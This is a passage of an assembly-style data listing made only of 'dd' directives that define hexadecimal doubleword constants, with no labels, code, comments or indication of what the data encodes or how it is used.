6C0BFCB0h, 980AB2AAh dd 25A01A3Ch, 0A0FA41DCh, 17B436F3h, 0A042BA2Dh, 49CCA81Ah dd 5C39E11Ch, 7C73A01h, 0D88C5B48h, 1A003258h, 9B438121h dd 97FA0549h, 7D6BC00Fh, 40183CB0h, 8A0034B0h, 0F30C3C0Eh dd 2F59FC3h, 50B34B61h dd 0B4E8517Dh, 18D6A642h, 0A9C8388Bh, 0C05D1DC0h, 40DF0569h dd 0C277928Dh, 185AE1CCh, 75D9EB00h, 0D688DE25h, 520B029Ch dd 0D824C3D0h, 0B9C1A0E0h, 58FA1345h, 879B0094h, 0CCAF4258h dd 0C182AAC9h, 0E8D65430h, 0BE473AA4h, 0AD465E5Ch, 0DD4ABF00h dd 648D915Ah, 4609DE75h, 9E60148h, 3B14E181h, 0B5614C60h dd 96500Eh, 0B37CD9ECh, 94A73EFBh, 6067AA44h, 6F247DEh dd 7CB33E0Ah, 0F180FC4Dh, 2984AFA3h, 3A0F5F81h, 1F43236Ch dd 0DDB87FFAh, 4C2E1389h, 850058F0h, 0AA0194B8h, 0EE193B3Ah dd 445A40h, 0B9771CE4h, 21017DA8h, 8E94CE9Fh, 24FC78ECh dd 9669025Bh, 76578C15h, 1D20DCF8h, 0E0A83C9Eh, 4D96ED3Dh dd 0B2A0C4ABh, 301FF2D8h, 7300978Dh, 10D24C7Ah, 1C0C33Fh dd 9F1EAC87h, 509B85CDh, 0D6934AF4h, 8AA59601h, 542D3408h dd 15EC1424h, 0CCE69471h, 8A81B06h, 0E7F0E03Fh, 27ACE156h dd 0F8D0DA72h, 63E2004Ch, 1160107Bh, 397EA5F2h, 79EEC504h dd 0E1C1F11Ch, 2066E0A7h, 2A451FF0h, 0AA980B12h, 17F88E4h dd 7E944790h, 4A93B1D7h, 0C027C82Ch, 13E0B6C0h, 0C5070C92h dd 0EEA3DACDh, 4F884B50h, 7F463E2Bh, 19127h, 0FC81317Bh dd 10C03EFDh, 0AE5EBA71h, 68960657h, 6136F8CAh, 0AB39DA00h dd 3CBB4D0Fh, 0DBA23CAAh, 2AD1B281h, 0C8751401h, 0ED006104h dd 9F97E471h, 51ACA6Dh, 819D7D0Eh, 81DC878Ch, 3F5028B0h dd 0C88BFC0Ah, 0CE3B8809h, 2409B024h, 0F4019DAh, 0B80176D7h dd 78FBD392h, 4330E830h, 57A0051Bh, 0B004AE84h, 0E4910DCDh dd 2F6F3D0Fh, 3B312388h, 21C7EE83h, 4B80861Eh, 691379ECh dd 0CCECA42Dh, 0E1ACD104h, 92F50097h, 0ABAA5B9h, 1EDF9DAAh dd 2FA882D0h, 0C0E00B86h, 29007CADh, 0F693BA61h, 0C77E91A6h dd 77E47279h, 4B1A80BFh, 97122464h, 41B4B8h, 7102C1A9h dd 0F2C3B2CDh, 0FACC490Dh, 0B5D6BC10h, 0C5608197h, 0C872427Dh dd 0A899B427h, 0E4041561h, 84B4A2F9h, 22064E6Bh, 0ED29D93Ch dd 0AB38C014h, 9625169Ch, 24308031h, 0B24D30A8h, 3FE4077Ch dd 0D038F86Dh, 0FE2A84B0h, 8A070C90h, 0AD7E317Ah, 0D86F3B45h dd 30C2F300h, 0D4C2F13h, 0F14D9806h, 4AF06003h, 49441CBDh dd 74816C08h, 47646502h, 0B4D4C9DCh, 8CB19F83h, 0DFDD86Fh dd 32A71FE5h, 395847E3h, 9763615Fh, 1A5ECC99h, 809CFA48h dd 2767511h, 6FC100E4h, 0D5609525h, 6C17ABB6h, 4800E1A8h dd 0DFFADA5Bh, 8B6E09EBh, 4CD6FB0Dh, 88373140h, 97092C19h dd 58D200DBh, 18F42579h, 0C029C62Dh, 4C8A7210h, 0D4093327h dd 38FA74FAh, 3774D10h, 2DA43193h, 0F0162B68h, 279ACB2h dd 0AD40D9E2h, 75609F4Fh, 0A8B9FAF9h, 4C40E51Fh, 13CAFB54h dd 7CD0B8D1h, 1F1880D6h, 0DE28A99Dh, 0F9D940A0h, 0A2000467h dd 0FE06510Eh, 148C8C6h, 0B2278628h, 38B371CCh, 89248C80h dd 0FFAEA172h, 657D9070h, 0A9F9E034h, 0E3017CBCh, 0A04BBDE1h dd 0D8ECE91Fh, 0B37809EDh, 2884364Ah, 946F43C8h, 7491C515h dd 0C42D7E35h, 0E42D6C0Dh, 0EC71EE19h, 8B18AED9h, 4F0006ECh dd 0A40386FDh, 98BA577Ch, 94DC002Ah, 9E8BF06Fh, 0E0B4817Bh dd 74AB465Eh, 0E50B8477h, 8424F510h, 0DCD44138h, 0DC8420EEh dd 0F9E6DD05h, 77810901h, 9459E22Ch, 230ED042h, 593C9D73h dd 5BA480F0h, 0E10151D4h, 224C4C8Fh, 7CC19F7Dh, 0FA0400ABh dd 0E0C92CEh, 45AE8D4Dh, 757508E5h, 64240AA4h, 0EAA981A4h dd 3EBCD699h, 88358405h, 50251445h, 127DCCD1h, 18005C72h dd 2ECF6C40h, 3729B9E7h, 0A7D1C409h, 4DE0A018h, 0D39A7203h dd 0F09C47D5h, 499EFB3Dh, 24064C34h, 98A28762h, 3DA08522h dd 0EB00DB9Ah, 0EEBB511Ah, 507DA1E6h, 0D4F892B7h, 0AF00DC50h dd 3921106Ah, 308ACA47h, 2D219A71h, 511C3790h, 4800EA02h dd 0AA95A3DEh, 2044986Bh, 1449C1D1h, 89E435B0h, 2DC7FCC4h dd 1E83756h, 0FC8CEDE0h, 3009851Ch, 0BB8965E0h, 0F9016FF4h dd 328484EEh, 3DC304h, 78A1CE4Bh, 97FC9190h, 83D51281h dd 7DA040ECh, 31384E5h, 64301B6Fh, 0E8A50125h, 2D9A0010h dd 824FBCFEh, 0A101C57Eh, 0ACB3F7A7h, 993F933Dh, 86E7B28h dd 98D04204h, 5B3F81E7h, 841C2016h, 40994CA4h, 971874D1h dd 340BE00h, 375C39D0h, 0E02E3812h, 0E384014Ah, 24802D93h dd 0CC13AF54h, 90E753DBh, 0C10F72A0h, 6EFAA501h, 92E104B7h dd 89B074C6h, 547A18F0h, 455C4C20h, 9C2F2F1Eh, 85005123h dd 0B8A94939h, 0F02D133Bh, 9060F41Ah, 0ACD0485Bh, 2DADEEBCh dd 0B0E031F9h, 4500CD9Eh, 1D0FB2CBh, 4E73B798h, 3964D11Ah dd 0BB77002Bh, 0CF3B3DC6h, 0FF801C48h, 6FB89F5Ah, 85C9F95h dd 0FE611B02h, 79200AE4h, 86500521h, 821A0FB1h, 0CCD45A08h dd 348E425h, 93AA4217h, 2820481Bh, 88C4441Ch, 5004742Ah dd 1E0D9301h, 342253C0h, 0F2950CE0h, 17E30986h, 28006C48h dd 1DDDF9CBh, 0C5807491h, 7ADC8A2Eh, 57D53AE2h, 7713C000h dd 37719EA8h, 0BC4E3B5Eh, 2C48709Ch, 296B9320h, 79B079A9h dd 4FCA184Eh, 16D0C006h, 0B0394DECh, 45759295h, 88F948A0h dd 0DB002A23h, 0D02CC709h, 4A9DA3h, 497F6292h, 72101F19h dd 0C03B6324h, 7A9467Ch, 0E4BB2E1Eh, 4B69F51h, 6ACFC980h dd 0A2FBCAB2h, 5851304h, 6CB51618h, 47B6460h, 8DE08ED4h dd 86DCF497h, 0C7832112h, 6360301Dh, 73685166h, 9A0079C6h dd 6BEB1F4Eh, 0BAB9E93h, 3DB0A019h, 0B9CE408h, 0F8FA6815h dd 0D7E57C13h, 240490E8h, 4020E06Ch, 44DBE83h, 0C2CC16AEh dd 76640D7Eh, 0BCD428A1h, 0EEE08C23h, 0E8F95009h, 5D88013Ah dd 7617DDD3h, 2040D9BAh, 0D4608A1Bh, 0A1C7D4D1h, 60DB60A8h dd 0F70DE560h, 68401887h, 32B94CE0h, 53FC3A1Dh, 0F04D9F00h dd 0A68FFA03h, 61743BACh, 9A2034C8h, 4C48FE43h, 0F8C45B8h dd 5C988BABh, 36CA8940h, 9F278193h, 2060E6BBh, 0A0A02251h dd 0C0D7D1CAh, 2E23BC2Fh, 0C6796200h, 4ADF9CF9h, 0A9282005h dd 709EB974h, 0A0241007h, 1C0741Bh, 77099FD1h, 0A46E7F12h dd 0F8BBFB09h, 2D3C64DAh, 610B00EAh, 1F1083C6h, 5240159h dd 4EB5EE88h, 2D817078h, 0BC82AC4Fh, 0F01857DAh, 252048BAh dd 67872D4Bh, 0CC4F441h, 6B058CE1h, 6C926F71h, 0F8DCC038h dd 0AB8A0071h, 0C32350CAh, 3A01BA8Ch, 17D8570Eh, 6B6F7B18h dd 78B800E4h, 2AC1B2A4h, 22E60EEFh, 0F4EB6B4Eh, 0A558445Bh dd 0FE2C1CF8h, 0BBFA0492h, 8BB0C20Ah, 0F3582CF3h, 0D58F00E0h dd 18D1A512h, 0F74E5A4h, 8162481Dh, 0F8804B93h, 127D6724h dd 0A8D89D95h, 8CAAEC04h, 0D80CD700h, 855396E8h, 48BB595h dd 50D13079h, 25128218h, 0CA85CA9h, 2F958480h, 1800A04Eh dd 195AB72Eh, 45227Eh, 6F655FDEh, 96214D55h, 0B3661502h dd 60EC9576h, 80E30D58h, 0B624B01Eh, 0D000A8F5h, 33B1AAE6h dd 0CCDF0034h, 0FDD88B02h, 91E2E40h, 7ED794B0h, 0A21D5CC3h dd 0C950405Dh, 34AB06BAh, 99E2C141h, 7CA41B00h, 0C01CE154h dd 493B5FE0h, 40709788h, 13949940h, 0FD3EB945h, 0E78708A8h dd 8210B010h, 0C08A0A51h, 4FB0554Ch, 94A0C813h, 0C48B3526h dd 0B1F9A99Dh, 6F3D59ADh, 413C806Fh, 9C5F5CC8h, 1F478CDh dd 0D30A3478h, 58C40799h, 0E933904Fh, 452FE586h, 3F7C9132h dd 0DE00D9A4h, 0F8859827h, 724D40CCh, 5413E405h, 26C4E587h dd 0BF853406h, 0F6FB4A59h dd 0D1ED183Ch, 0CAD4B91h, 9B7482A2h, 0F08AE1A8h, 419F6B80h dd 0EC70A8FBh, 0B01FE864h, 307D2718h, 46E8CCA2h, 0BC43BC1Bh dd 0A0A890F1h, 0A1953604h, 0DDF09ED4h, 7DE96708h, 0B5D2E8C8h dd 7E1244ECh, 803DCDh, 16EAB81Eh, 3037FC8Fh, 78B1D65Ch dd 1BEE5A05h, 0ACCCA8h, 0C0346F24h, 0F8B7E9Eh, 2CCB6D4Ah dd 301AF5C4h, 950B3ADFh, 893BBCC6h, 17823D54h, 0CB334FBh dd 0A84B0F07h, 0AB9B545Bh, 71D32020h, 875C0089h, 956B5262h dd 7D1C26F2h, 0E25F60F7h, 35E094C1h, 44300119h, 986A956Eh dd 50DFC360h, 0BC0A9500h, 0F8EFD1DEh, 7C66B5F5h, 9178979Dh dd 0BCCA812Dh, 10700259h, 9D1684FCh, 8C804379h, 0B8B0B67h dd 4E28A0C3h, 9811AC52h, 7E0205B8h, 38857A82h, 6F48E4F8h dd 358A2FDCh, 0D4CA801Ch, 0CD4E8388h, 0DF3283Fh, 98143948h dd 88C88F44h, 6CB72792h, 0CE0B98C0h, 80018D5Fh, 510CB01Ah dd 0ED7FA889h, 0F298EC91h, 0CD3AAC46h, 78DC4089h, 0F4495B35h dd 65889C38h, 9EE20011h, 0D0933B2Dh, 0DF03C27Dh, 75482427h dd 96780716h, 620E9BC9h, 6C70BE9Eh, 2528615Ch, 0E3085029h dd 16801868h, 5BC98D70h, 2DF16700h, 5CC4DA99h, 0AC140049h dd 739E364Bh, 0D12FE3BDh, 82844020h, 0C0A01619h, 2CD4B91Ch dd 0B6B54D3h, 2D0422C4h, 10305D9Ch, 0C116A977h, 14FD2591h dd 0DC0FB115h, 0A56CB224h, 16E7B06Dh, 0B8F62723h, 4BDA550h dd 0CAD99620h, 68500DDh, 0BDB91618h, 0BEA53810h, 47486082h dd 0BB90C046h, 71BA55EDh, 0B935FA0Bh, 64E86734h, 0A0C163A9h dd 98991464h, 4610204Ch, 1D177809h, 0CD604839h, 0EC5200A6h dd 885EE571h, 5099F477h, 5D184779h, 0E765E500h, 0EDE3A6F1h dd 0DB9A01ABh, 11C626B2h, 0BC2C2436h, 4AAAC901h, 57528EA7h dd 8980743Ch, 923AE573h, 0ADFA0C12h, 0BDBBA440h, 5B392179h dd 19CE21Fh, 0F0FF8448h, 0DDE2C465h, 61E8E0B8h, 7C8B860Eh dd 0BEA640F6h, 0AB526Dh, 4032BF31h, 4CC614F4h, 2079B25h dd 0F253FCh, 672DBA77h, 0B84D9F04h, 60971C71h, 19AEB9C1h dd 88DDE44Ch, 6325CCAFh, 1FD86154h, 3516EC22h, 45B08880h dd 0E82F1320h, 5C888866h, 9446424Eh, 4C194BB7h, 4C194737h dd 70DA3028h, 0F769DF50h, 0C0C0EDA0h, 7F04AAEAh, 0EBD88461h dd 2412B071h, 391C96E1h, 55952094h, 888CA449h, 0CEB911C8h dd 0A0241A4Bh, 6024A0BCh, 498700C8h, 965910BDh, 3040145Eh dd 0CA3F5C42h, 86620082h, 9E8D758Fh, 0AF902564h, 4ACE9F05h dd 588CDA5Eh, 0F23F0294h, 461C2D69h, 1006B0C9h, 390CB35h dd 0EE2136C0h, 80022ECDh, 958173E2h, 4C885871h, 1FE8F850h dd 0CC49018Ch, 750D2DD2h, 0CABFCCDDh, 9912DF30h, 0F5BEB32h dd 502ED209h, 0DE443012h, 8C008A6Bh, 9436D9EFh, 0B8F67025h dd 4AE0F0B4h, 3D5CB1C1h, 2881B818h, 4EB0D1BDh, 2AE8218Fh dd 303B3B09h, 0CF002723h, 0B974884Ah, 767CBC97h, 0DB0EA046h dd 108B741Eh, 0E8A49004h, 16F00F0h, 0F4FF8312h, 9298F81Ah dd 8B78B62Ch, 0C89F0285h, 76805191h, 0EEBB6B62h, 12DD891Fh dd 88FCF1E5h, 728004B1h, 0FFCDDA9Ah, 10845071h, 0E03044B3h dd 0B5007091h, 2E47CB85h, 8E4F0068h, 0E9933467h, 80005765h dd 9B71D2A6h, 1715946Eh, 0A674F444h, 0C187F0F4h, 993509D3h dd 0E4F0409Fh, 0E47B0B2Fh, 0F8890064h, 0D3A21371h, 5FEE5DD5h dd 0E000D4F4h, 3DA904FEh, 0B7098C0h, 4D9D7EEDh, 93BE10D4h dd 0D4855594h, 8C10C4A8h, 0F2168437h, 0B210B234h, 37B8301Fh dd 96EB4800h, 0E8C4E724h, 0FB39BAABh, 0A44EDC32h, 8B177E3Ch dd 98E9E46Ah, 4515D27h, 9B183171h, 3258170Eh, 253B22D3h dd 4505E44h, 0A0117CB3h, 7470E424h, 0F3F41025h, 980B04B0h dd 144A2B2h, 81629683h, 0E0D96B04h, 0F201E06Dh, 0FA8A027Ah dd 88202A71h, 31449Fh, 0CFDF622h, 9642975Ah, 8E9C4C05h dd 38B91510h, 2E0ACE00h, 69E26D7h, 0E9A3BF04h, 17BADA42h dd 9DB0AC48h, 0B0D13B80h, 4149A6h, 4AD35927h, 2D737C33h dd 5FE4BE05h, 0BC41A9D2h, 59C9CE9Eh, 742807E1h, 93B4B45Bh dd 2569D63Eh, 546C1AF0h, 7CE407Ch, 2E00CF69h, 3E048BF8h dd 0D53BF9h, 0C103618Dh, 0AB021E42h, 60207C4Ah, 0AA06BE98h dd 0E68FE94h, 45E2B885h, 0CC7C20A7h, 18D0A2A5h, 9F787617h dd 0F089D331h, 0FA30038Ch, 28321921h, 9FB000BBh, 514872F4h dd 2F07D06Dh, 0EBF11109h, 40178CF2h, 44D6F550h, 942115FBh dd 0D4D42E07h, 3564800h, 82B97699h, 0B0BA1315h, 0B3C4288h dd 645C61EEh, 742F7B13h, 33077423h, 5C465027h, 93D10A48h dd 80907C25h, 0BF1BD5BBh, 0A87C19C1h, 18C029E0h, 0B97C889Eh dd 8E449409h, 5907485h, 5074D92h, 0A51030A9h, 815BC89Fh dd 85E8EFFBh, 1D20AF95h, 804E9170h, 0A977FC28h, 39E26BB2h dd 2C220C70h, 0A5CD2A47h, 5BCCF090h, 23C43B05h, 76EE0024h dd 1401A571h, 0D090C897h, 46902FEh, 6BFD3770h, 1063C8B2h dd 70FAA5EFh, 0B4BF92D4h, 8D503850h, 480801E9h, 0EB180CB4h dd 2D23302Fh, 2E9A5F03h, 64FE8048h, 0CFD00BA5h, 0C4C24571h dd 0A511109Dh, 0E60C9281h, 2C2DD418h, 109D109Eh, 1611FB11h dd 89B5A5Bh, 0D400818Eh, 7B360DDEh, 7228A39Fh, 0B089009Bh dd 0CF7E1A9Ah, 0F3F2294h, 514DAF5Ch, 0E0EF84E8h, 0DDA4012h dd 25110A9h, 9ABB50E9h, 8C6638EBh, 0C786B30Bh, 40C8F6A3h dd 31C4DF6Ah, 79760500h, 0E3AE2CAFh, 0CBE40FD3h, 0BA608BB9h dd 0EC6B3FC0h, 1B8F7D15h, 0F8E24A94h, 0EEE9513h, 0F1805F5Ch dd 8DCFB914h, 7EE3BF14h, 94D04AAFh, 796B1BAh, 2974F7CEh dd 186831D9h, 4D244019h, 3452F9B1h, 0A64E0998h, 93E86002h dd 12785A2Dh, 5F14E870h, 2532D0C0h, 0B71F5E28h, 4B010050h dd 0E0A783DEh, 926E254Eh, 0B30570D9h, 0B8FCA594h, 0BB1C304Bh dd 4D1FB2B5h, 0E827CCB3h, 956D48D0h, 0FC5EB425h, 8C02F8FCh dd 3DB3F504h, 44EFB79Fh, 4014E118h, 0DE82CF1Ch, 69460071h dd 9D2078D6h, 515F9580h, 9F9ABCC0h, 696C4008h, 7B597227h dd 962CD8F8h, 28D5060Fh, 0F0090176h, 0D86C862Fh, 8E6EE580h dd 1B754C56h, 0EF9D7D05h, 2C80DC6Dh, 18CAB5C5h, 64379F46h dd 0DFA17864h, 28C07E2Bh, 0F09641ECh, 0CC36547Fh, 9788F07Ch dd 0D14C4C00h, 0C4002E86h, 0E1201876h, 0F4D24374h, 833A5B84h dd 0FBEA0C28h, 7CA99720h, 98BB6135h, 2BC4D96Ch, 0A9B08072h dd 8505CA8h, 8809DDD1h, 90DC8411h, 1C311C94h, 30A73385h dd 88922C23h, 105D9B82h, 9553278h, 0CF482419h, 848C7CF0h dd 10CF0874h, 0B2DDA8E8h, 8755D950h, 1A7593ECh, 8408D8B6h dd 0A02C9FA5h, 0DD9DC283h, 0D08145DCh, 1FCB7091h, 9CA6B57Fh dd 60AD4992h, 1AFC7201h, 4AC33D04h, 59580420h, 0ED0FFA46h dd 0C3E20A8h, 5813BD50h, 0D25B1717h, 1194B830h, 54140647h dd 343DC018h, 0D6061DEh, 71050AA3h, 0EC7DC619h, 773E0Ch dd 6BC4F8CBh, 658B7Fh, 6009DBA9h, 8D9441E2h, 0FB783460h dd 2E04832h, 2E084611h, 0F043420Ah, 3BDF2000h, 4F7E6BC3h dd 180B1C10h, 37F60E94h, 0CEE1D282h, 74019844h, 0D8E70D93h dd 30E0871Ch, 6DA0009h, 3FFD6853h, 0F0F8D114h, 0E6029374h dd 736A086Dh, 7F8462C6h, 28CD3C10h, 0C40C8E1Dh, 3BB43700h dd 1F94BEAh, 0A984C580h, 573D71C8h, 53015FBCh, 60AAB43Fh dd 8126B894h, 13DCE96h dd 0FD979352h, 0A1971CCEh, 4BD4E81Dh, 0A6957C40h, 588CF5FEh dd 0E05F3D9Fh, 8D4C0628h, 6C404A08h, 2256507Eh, 49A4B8B6h dd 411D588Bh, 4F28EBC8h, 281ED17Ah, 32D04B19h, 903A1658h dd 0E101AA78h, 0F762A307h, 0FB42925Ah, 0E27C729Dh, 4D520A2Fh dd 0D04021E2h, 0FB2D7CA3h, 6050A09Eh, 2950FC9h, 1F7FE597h dd 98DAB950h, 82AE104h, 50E80B86h, 0D63C938Ah, 0B9B29F15h dd 5C1F09A4h, 1090134Bh, 29906E30h, 0C15134E2h, 9442C00Bh dd 16D4CA07h, 18E634ABh, 0D2D3D1BCh, 94041C70h, 727EFE96h dd 0BC1ED88Dh, 35615123h, 78898886h, 6384660Bh, 2584E007h dd 0A2E24D89h, 0FA1318BCh, 41FB32ECh, 0EE10D7A9h, 89C800Eh dd 9FFB0616h, 7C1C1821h, 2411E4h, 3AB1F0Eh, 2B723A59h dd 0A80B8712h, 0BC007052h, 9819E07Ch, 0B8F24CB8h, 0A9928980h dd 20A610DFh, 0ABCE452h, 0A0D98EFAh, 9C4CCA12h, 2EAC08B4h dd 0B5CC59Bh, 60A020BAh, 3261D0E1h, 7414E5B5h, 7CE75426h dd 8E52A0Ch, 4442404Ch, 0F0B243Eh, 86095170h, 31183F66h dd 611050CCh, 37C01D1h, 47BA288Ch, 0AB66F610h, 31516820h dd 3A2013F2h, 0F58E01CAh, 44410888h, 8E9D908h, 2E08BD53h dd 1CA00CEAh, 8CFD3238h, 18E1A908h, 721440A1h, 0D110EC66h dd 9D4320A9h, 102AC631h, 208CDCF8h, 5208B720h, 81464141h dd 92F3320h, 99102E08h, 0F11949FBh, 8C26B122h, 18ED4608h dd 23D1CACEh, 0BB4B8888h, 2812313Bh, 1C01C0BCh, 197403F3h dd 0F9FD1621h, 323888A3h, 0A6A40C34h, 0FC40DF10h, 0EBAA40A9h dd 3A2149C4h, 0CD53B04h, 65CFD1F2h, 4DF32890h, 0D159AFC4h dd 0EB88980Bh, 8017F9E1h, 20C65866h, 20408FE2h, 7D336103h dd 108010B5h, 18363721h, 0FB3808D9h, 1910C9B2h, 96460823h dd 0C07F283Ah, 8CC6338h, 18159B83h, 20A81B7Bh, 4C0E33B6h dd 818F271h, 8A2025BDh, 84F1D140h, 8D64F19h, 0C0FC51ABh dd 0C89C57C4h, 0C208E398h, 0D98F804Eh, 109011D1h, 3310DB52h dd 0B10718FAh, 0C6563608h, 10C93098h, 63599D20h, 88FDD9F8h dd 20622920h, 8931E40Ch, 0A927084Bh, 39E71888h, 18ECA608h dd 4F1CE999h, 0C62D8180h, 80EE510h, 18B96432h, 9B7448D5h dd 95B481E6h, 38F48069h, 40C9409Ah, 0BC407A45h, 20A0635Ah dd 507319EDh, 0E3082E66h, 3E883329h, 28319789h, 0CB9DF174h dd 0C6CD6024h, 38202208h, 12C09C49h, 6C492BAFh, 926026A8h dd 69CF6308h, 3818C349h, 0A218A41Fh, 0E610C4D2h, 0F9D70694h dd 6291CA79h, 0AD31BAC8h, 14D7320h, 888DD84h, 0D119F63Dh dd 0F8529A21h, 5AD448C0h, 4098924Ah, 334068E0h, 20289A07h dd 0A42AE164h, 37408021h, 405A6663h, 0F431F1BBh, 1E0B10A5h dd 466C2892h, 89A3070h, 319BC820h, 8C303D9Eh, 0A6A90253h dd 0FCB12E84h, 0B110C4ACh, 0A24D098Fh, 593CC68h, 92A84417h dd 2DFB0112h, 5C2FE081h, 16097E5Ch, 6C402889h, 7E18115Fh dd 4F1023B1h, 88BD28E0h, 0B3A31ED8h, 5D498942h, 1A60C4ACh dd 47B55503h, 0B373A4D2h, 2389E8B0h, 2C67E83Fh, 6BB8AB07h dd 9FAA9802h, 856B09E0h, 719C0D05h, 0A0809712h, 624211Ah dd 5113F392h, 6019A0D7h, 72A85C7Fh, 4858D03Bh, 780002C3h dd 0CDDABCB2h, 18E9D540h, 48D1F171h, 0F00C461h, 0C8F65DDEh dd 0F3139672h, 709C012Fh, 80384A0Ah, 0FF99EE91h, 1F25A1B0h dd 26E7011Ah, 229E00E8h, 0DC14B2C7h, 7F387060h, 3ECB516h dd 0D89C9433h, 0E1A85E86h, 5A006FCEh, 0F39A2A8Eh, 8896030h dd 54CF13ABh, 0C977823Dh, 406A6544h, 6F5EE0CAh, 0FFA0D0DBh dd 950B4E11h, 0D8C2BB00h, 7246E899h, 28E35D89h, 476B208h dd 9440871Dh, 0F93F2BB3h, 0E07550B6h, 827D3EE3h, 303A99Fh dd 92041113h, 8854A040h, 6C9C6882h, 0ACD75413h, 4C590189h dd 0BDA8CB79h, 0BA95C05Bh, 1D0EC0F8h, 427D3433h, 80423FF9h dd 1EC4B194h, 23D11F10h, 0CE0ED72h, 0DA020D41h, 0E165165Ah dd 6C5433h, 8338D49Ch, 71F6B466h, 6AE091C3h, 0A82013C2h dd 6F8501C4h, 8086E5B4h, 643F1BD9h, 0A0E941DFh, 27079258h dd 0A800C0E1h, 0BD403DE2h, 73B93701h, 7CCC7271h, 750F2880h dd 7EC11204h, 0E33700Ah, 130F94AAh, 0FB728279h, 8A883A3h dd 76C6E08Eh, 46B507E3h, 6BE0A1B4h, 1EF3C0A0h, 0DE17A63Ah dd 4C83AAFAh, 65A3B9BBh, 480345C8h, 720D5010h, 0C0784DF5h dd 54008962h, 0D223EA95h, 107312h, 97E3294h, 9C71F991h dd 0FBCB48C3h, 508AC23Eh, 4FBC4CB8h, 660A1000h, 38D9EE6Bh dd 0B507937Eh, 292401DBh, 8880A42Ah, 0F136B76h, 0C28903Ch dd 0D54A726Ch, 78955FD0h, 0D900E540h, 0E000BF66h, 18F51368h dd 1CBB6D79h, 0C6BE78E1h, 39DC71FEh, 233484Ch, 0E913A2C3h dd 190840D4h, 14B50C1Fh, 0CE68E5D8h, 11776607h, 41467267h dd 606F48F0h, 7C346A10h, 50D77D37h, 360FD390h, 0B99D2535h dd 0F931D87Ch, 9EF1E0EDh, 91D77824h, 4B1306BCh, 10E78DCh dd 4612E15Dh, 2856C2h, 18ED44E9h, 2C7F113Dh, 88B3211Ch dd 0DFDC7840h, 1791D036h, 0A0C5E10Ch, 0FA190E08h, 0A9584324h dd 35783C30h, 44106472h, 0A83C4D2Ch, 0DFDB03DCh, 409EC371h dd 101D8B8h, 6ACB8930h, 0BE5C4D72h, 0AF7925A0h, 105FC9D4h dd 5F856048h, 4B2C8354h, 14A011A2h, 0E1B51E7Bh, 86006C92h dd 0C90F3F14h, 0D11C0323h, 363DE828h, 0E10CF0D6h, 186069DBh dd 0ABF21514h, 847B3A9Ch, 95E5FA1Ch, 0DAC34492h, 12721214h dd 3A8F452h, 4759F0C4h, 34783454h, 1114D0Ch, 90136188h dd 9EC406Dh, 0BB276EAEh, 0E8827C4h, 0F8647829h, 1B50C7B5h dd 0F8F382D9h, 0CC2BFCA9h, 0CCA0B872h, 30206071h, 1989C76h dd 65F97A80h, 3BB080B9h, 0A7FA0AC7h, 4110C193h, 81C13F2Ch dd 0D8AC6C48h, 431946Bh, 673D5026h, 683E3F19h, 14D02081h dd 1068B930h, 5112896h, 0F29A9C73h, 42AA80D6h, 59738793h dd 1488350Ch, 9B4882h, 81E256F9h, 5A997C10h, 0FB0A34F0h dd 0FC8C2A92h, 0FF1E111Fh, 17E3D800h, 19E1685Dh, 406539E0h dd 0AEBC4505h, 0DC334C09h, 0E0D116ACh, 537A85FCh, 24391B03h dd 26E25FF3h, 2D4DFA50h, 2E42C81h, 8A1F077h, 5D7B150h dd 75491148h, 30DF3F35h, 367F6080h, 0ECBC53B4h, 8D39C13h dd 0E00F469Ch, 9800F30Dh, 0F107B9EAh, 35E906B0h, 18149E85h dd 10D19B00h, 0B4DB9337h, 0AC41E9EFh, 892B06Fh, 0AE7408ABh dd 55687900h, 0BE3A3CFh, 83F981D2h, 2A949861h, 0B5E16443h dd 40584828h, 0EFE03133h, 411A06DCh, 0CA972010h, 0E146549h dd 2CE0EC62h, 986CC07Dh, 3E7E09F4h, 804EDB4h, 0B1F88895h dd 4020DF58h, 1A60079Ch, 0E7F09208h, 0F680A4CCh, 9C8548F9h dd 8CB16D14h, 6C209628h, 9B2070BDh, 0D6B9B0C0h, 0D733DDh dd 7B340936h, 0F2FA1DEAh, 38A4C890h, 0B2A46C50h, 32608C60h dd 39C6BBDBh, 44D85490h, 0F3727081h, 4AD883EBh, 0E18C383Ah dd 4C45DBBCh, 12CF7040h, 1340687h, 20E4D16Ah, 5028F953h dd 1EDD7BA4h, 0A9181202h, 0C0D9D510h, 2F48864h, 135717C3h dd 6440BCD8h, 7605721Ch, 0CB71E0D9h, 790EB801h, 0D82567B9h dd 4F2C20h, 0ABEE5F12h, 0A1F3DABBh, 83B9753Fh, 2AE0E60Dh dd 6A9807D8h, 5F1894E8h, 0EC9820B2h, 70907980h, 87024C91h dd 0C8BD9471h, 58CF0940h, 0FA8EE81Ah, 80107CCDh, 0C3617A38h dd 592E75h, 9479C8EEh dd 955EE8BBh, 0AFFD220Ch, 1F110E9h, 68FBDA9h, 827E46FAh dd 71ED0D40h, 0F80077CFh, 72DBB98h, 7406A09Ah, 0F86305Dh dd 0A1162818h, 0C06F5584h, 45A4BC20h, 0F5EED87Bh, 89242803h dd 97E67A73h, 0A5FBAC7h, 120A085Bh, 0E105140Ah, 0F0473301h dd 8340E4D3h, 98C7B16Bh, 29F728A0h, 0B8BF0A84h, 0CA4E2Eh dd 972CA555h, 68000767h, 87865D89h, 2E12011Eh, 940A78h dd 3A7588F2h, 3258CB3Ch, 14D85458h, 0C0CC6430h, 48C89EFBh dd 0B701CEEh, 0B3DE166h, 69A2480h, 0A300E56Ch, 8D9338Ah dd 0B17C12h, 49B29E7h, 682BC15Dh, 0CF001A7Eh, 9CA269C5h dd 0D10A53E0h, 7E2C8C40h, 6BE82128h, 9811DC09h, 72D420CCh dd 3879DD30h, 687BD47h, 6013EF5Fh, 5AFEA8C0h, 83DF131h dd 9AE031F9h, 6DBE05D1h, 0C16B1A01h, 3052CA4h, 115113C1h dd 6D5445C8h, 0E368820Bh, 0FA18D46Ch, 0BB9026FBh, 9F8A02C0h dd 0F159F2E9h, 0C693B460h, 112E340h, 0A2D76D0Ch, 0E75480BAh dd 0D49A6012h, 0B6D3EC20h, 90CD3071h, 0C87D4730h, 0E978000h dd 0BCE6B0BAh, 0B85C00D1h, 0E11B6E0Dh, 90B94938h, 22324832h dd 0D4503D13h, 8DF614A0h, 73C35F8h, 7A7B005Ah, 63DA0F32h dd 1CD000EBh, 9A2D458Ah, 510243F9h, 0D6137A81h, 5CB0A220h dd 68102692h, 7DFA0708h, 0C5CB0138h, 8F884971h, 0C7FD68B0h dd 20996C95h, 0DFB50E60h, 0E0C90B5Fh, 7CA44AFBh, 0E0A935D2h dd 5A608900h, 19AEC9D1h, 